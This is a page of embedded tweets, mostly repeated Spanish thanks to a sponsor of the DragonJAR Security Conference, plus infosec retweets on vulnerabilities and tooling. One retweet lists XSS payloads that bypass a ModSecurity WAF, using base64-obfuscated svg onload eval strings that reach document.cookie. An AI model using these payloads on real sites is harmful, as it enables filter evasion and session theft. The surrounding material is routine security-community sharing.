Code Injection into eval() allowed teachers to takeover Moodle < 3.5.0
Technical writeup and patch bypasses: https://t.co/pZhkKXL4Et
#phpsec #appsec #DevOps pic.twitter.com/3urSLCxv5Q— RIPS Technologies (@ripstech) April 4, 2019

Agradecemos el apoyo de @GuayoyoLabs que hace posible la VI versión del DragonJAR Security Conference 2019 pic.twitter.com/X3oaLGUQtH
— DragonJAR (@DragonJAR) August 30, 2019

Agradecemos el apoyo de @GuayoyoLabs que hace posible la VI versión del DragonJAR Security Conference 2019. https://t.co/Xv1cymfUC6 pic.twitter.com/xcKVWYiziQ
— DragonJAR (@DragonJAR) September 3, 2019

Agradecemos el apoyo de @GuayoyoLabs que hace posible la VI versión del DragonJAR Security Conference 2019.  https://t.co/Xv1cymfUC6 pic.twitter.com/zm65PfDKbT
— DragonJAR (@DragonJAR) September 6, 2019

Agradecemos el apoyo de @GuayoyoLabs que hace posible la VI versión del DragonJAR Security Conference 2019.  https://t.co/Xv1cymfUC6 pic.twitter.com/bjWbo7r8kx
— DragonJAR (@DragonJAR) September 7, 2019

Gracias a @GuayoyoLabs!#DragonJARcon pic.twitter.com/QRytqXJxrj
— Hernan Perez (@Recklessgrey) September 7, 2019

A @GuayoyoLabs gracias por ser uno de los que hacen posible este extraordinario evento la #DragonJARcon
— José Luis Unás Gómez (@joselotulua) September 7, 2019

Agradecemos el apoyo de @GuayoyoLabs que hace posible la VI versión del DragonJAR Security Conference 2019.  https://t.co/Xv1cymfUC6 pic.twitter.com/BjIdKjTUFM
— DragonJAR (@DragonJAR) September 8, 2019

El otro día vi esto:
Source: @aprilwright pic.twitter.com/cDudiTAYEv— Maximiliano Soler (@MaxiSoler) July 19, 2020

Gracias al apoyo de empresas como @GuayoyoLabs https://t.co/RdVF0dXEQh el #DragonJARCON de este año es posible, mil gracias por apoyar el talento hispanohablante en seguridad informática que se muestra en https://t.co/K3HegZYVjk pic.twitter.com/Lonvgj5cQU
— DragonJAR - Seguridad Informática (@DragonJAR) August 27, 2020

Gracias al apoyo de empresas como @GuayoyoLabs https://t.co/Xv1cymfUC6 el #DragonJARCON de este año es posible, mil gracias por apoyar el talento hispanohablante en seguridad informática que se muestra en https://t.co/8hu6meqRhT pic.twitter.com/pRuAXa8m8L
— DragonJAR - Seguridad Informática (@DragonJAR) August 28, 2020

Gracias al apoyo de empresas como @GuayoyoLabs https://t.co/Xv1cymfUC6 el #DragonJARCON de este año es posible, mil gracias por apoyar el talento hispanohablante en seguridad informática que se muestra en https://t.co/8hu6meqRhT pic.twitter.com/UzcbMgoNWs
— DragonJAR - Seguridad Informática (@DragonJAR) August 29, 2020

Gracias al apoyo de empresas como @GuayoyoLabs https://t.co/aJlRwJUGTU el #DragonJARCON de este año es posible, mil gracias por apoyar el talento hispanohablante en seguridad informática que se muestra en https://t.co/8hu6meqRhT pic.twitter.com/4KI8aEcMit
— DragonJAR - Seguridad Informática (@DragonJAR) August 31, 2020

Gracias al apoyo de empresas como @GuayoyoLabs
https://t.co/aJlRwJUGTU el #DragonJARCON de este año es posible, mil gracias por apoyar el talento hispanohablante en seguridad informática que se muestra en https://t.co/8hu6meqRhT pic.twitter.com/q4qVpAtYw2— DragonJAR - Seguridad Informática (@DragonJAR) September 4, 2020

RT @BurpBounty: https://t.co/Du7Oj6UFh3
— DragonJAR - Seguridad Informática (@DragonJAR) Dec 1, 2021

RT @calderpwn: New blog post about CVE-2022-21404: Another story of developers fixing vulnerabilities unknowingly because of Codeql - > https://t.co/fo3Y3ZDrUT #opensource #appsec #codeql
— DragonJAR - Seguridad Informática (@DragonJAR) May 20, 2022

RT @GHSecurityLab: Great story @calderpwn ! "If you see a CodeQL alert, never ignore it! Reach out to the GitHub Security Lab team or community". The security community is here to help! https://t.co/wC3QMMyNVM
— DragonJAR - Seguridad Informática (@DragonJAR) May 21, 2022

RT @sec_r0: ❤️ JWT token !! ❤️ And two very simple and basic attacks with them. Go give it a read. Share if you like 🖖 Download : https://t.co/3n6tHsbT2P #infosec #appsec #cybersecuritytips #cybersecurity #bugbountytips #security https://t.co/HMgUzk8ko5
— DragonJAR - Seguridad Informática (@DragonJAR) Jul 28, 2022

RT @beginnbounty: Some ModSecurity WAF bypass xss payload list:👇 🔥👇 #infosec #AppSec <svg/onload=eval(atob(‘YWxlcnQoZG9jdW1lbnQuY29va2llKQ==’))> <svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))> <svg onload='new Function`[“_Y000!_”].find(al\u0065rt)`'>
— DragonJAR - Seguridad Informática (@DragonJAR) Jan 19, 2023

RT @irsdl: Just updated the legacy IIS Short File Name scanner (to v2023.3) to address an issue that it could miss some rare vulnerable servers due to an intrusive RegEx responsible to clean dynamic contents.

https://t.co/0Jcz4FIhzF

Have a happy hunting!
#Appsec #IIS #BugBounty
— DragonJAR - Seguridad Informática (@DragonJAR)
Apr 29, 2023